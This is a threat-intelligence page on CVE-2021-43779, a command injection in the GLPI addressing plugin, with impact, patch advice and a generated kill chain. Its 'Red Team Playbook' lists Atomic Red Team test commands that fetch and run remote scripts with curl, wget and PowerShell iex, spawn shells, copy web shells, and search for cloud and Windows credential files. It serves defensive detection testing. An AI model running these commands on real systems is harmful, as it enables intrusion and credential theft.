CVE-2021-43779
Overview
The vulnerability is an authenticated command injection in the GLPI addressing plugin prior to version 2.9.1. It arises from improper input validation within the plugin’s functionality that processes user-supplied data, enabling execution of arbitrary system commands on the server. The affected component is the addressing plugin integrated into the GLPI IT asset management system.
Vulnerability Description
GLPI is an open source IT Asset Management, issue tracking system and service desk system. The GLPI addressing plugin in versions < 2.9.1 suffers from authenticated Remote Code Execution vulnerability, allowing access to the server's underlying operating system using command injection abuse of functionality. There is no workaround for this issue and users are advised to upgrade or to disable the addressing plugin.
Impact
An attacker with valid authentication can execute arbitrary commands on the server hosting the GLPI addressing plugin, leading to full system compromise including data manipulation or service disruption. No user interaction beyond authentication is required, and the vulnerability is remotely exploitable over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). This enables lateral movement within the network and potential exposure of sensitive IT asset data managed by GLPI.
Solution
Users must upgrade the addressing plugin to version 2.9.1 or later as specified in the GitHub security advisory GHSA-q5fp-xpr8-77jh. If immediate upgrade is not possible, disabling the addressing plugin is recommended to mitigate exploitation risk. Detailed patch and upgrade instructions are available at the official GitHub repository and security advisory pages linked in the references.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the GLPI addressing plugin, specifically in versions prior to 2.9.1, presents a critical risk due to its potential for authenticated Remote Code Execution (RCE). This flaw arises from improper handling of user input, which allows an attacker to execute arbitrary commands on the server's operating system. The exploitation of this vulnerability hinges on command injection, where an attacker can manipulate the input fields in such a way that the server interprets it as a legitimate command. This situation is exacerbated by the fact that the attacker must have authenticated access to the system, which may lead to a false sense of security for administrators who believe that user authentication alone is sufficient to protect against such threats.
Attack vectors for this vulnerability are particularly concerning, as they can be exploited by users with varying levels of access. Once an attacker gains authenticated access, they can leverage the command injection flaw to execute malicious commands, potentially leading to full system compromise. Scenarios may include an attacker using a compromised account to upload malicious scripts, manipulate data, or even pivot to other systems within the network. The implications of such actions can be severe, as they may allow for data exfiltration, service disruptions, or the installation of persistent backdoors, enabling ongoing access to the compromised environment.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on GLPI for IT asset management and service desk operations. The high CVSS score of 9.9 indicates that the risk is not only theoretical but poses a tangible threat to business continuity and data integrity. Organizations may face not only operational disruptions but also reputational damage, regulatory penalties, and financial losses stemming from data breaches or recovery efforts. Moreover, the absence of a workaround means that organizations must act swiftly to either upgrade the plugin or disable it entirely, which could disrupt their IT management processes and lead to further complications.
To detect and mitigate this vulnerability, organizations should prioritize immediate upgrades to the latest version of the addressing plugin. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, implementing strict access controls and monitoring user activity can help detect unusual behavior that may indicate an attempted exploitation of the vulnerability. Organizations should also consider employing web application firewalls (WAFs) to filter and monitor HTTP requests, which can provide an additional layer of defense against command injection attacks.
In conclusion, the authenticated Remote Code Execution vulnerability in the GLPI addressing plugin represents a serious threat to organizations utilizing this open-source IT management tool. The combination of high exploitability and potentially severe consequences necessitates immediate attention and action from affected users. By adopting proactive security measures, including timely upgrades and robust monitoring practices, organizations can mitigate the risks associated with this vulnerability and protect their critical IT infrastructure from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-43779, reflecting a significant increase in the likelihood of exploitation in the near term. The EPSS score has more than tripled, indicating that threat actors are increasingly targeting this authenticated Remote Code Execution vulnerability in the GLPI addressing plugin. Although no new exploit code or active campaigns have been publicly identified, the rapid upward trend in EPSS suggests growing attacker interest and potential preparatory activity. This development elevates the risk posture for organizations using affected GLPI versions, as the vulnerability’s high severity combined with rising exploitability increases the probability of successful compromise. Defenders should interpret this as an early warning of heightened threat activity, underscoring the urgency of monitoring for related indicators and reassessing exposure. The evolving threat landscape now positions CVE-2021-43779 as a more immediate concern, warranting increased vigilance despite the absence of confirmed exploitation events.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Teclib-Edition | Addressing | All |
cpe:2.3:a:teclib-edition:addressing:*:*:*:*:*:glpi:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-43779 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/pluginsGLPI/addressing/security/advisories/GHSA-q5fp-xpr8-77jh |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/pluginsGLPI/addressing/commit/6f55964803054a5acb5feda92c7c7f1d91ab5366 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/hansmach1ne/MyExploits/tree/main/RCE_GLPI_addressing_plugin |
| github.com |
NVD API
|
https://github.com/hansmach1ne/CVE-portfolio/tree/main/CVE-2021-43779 |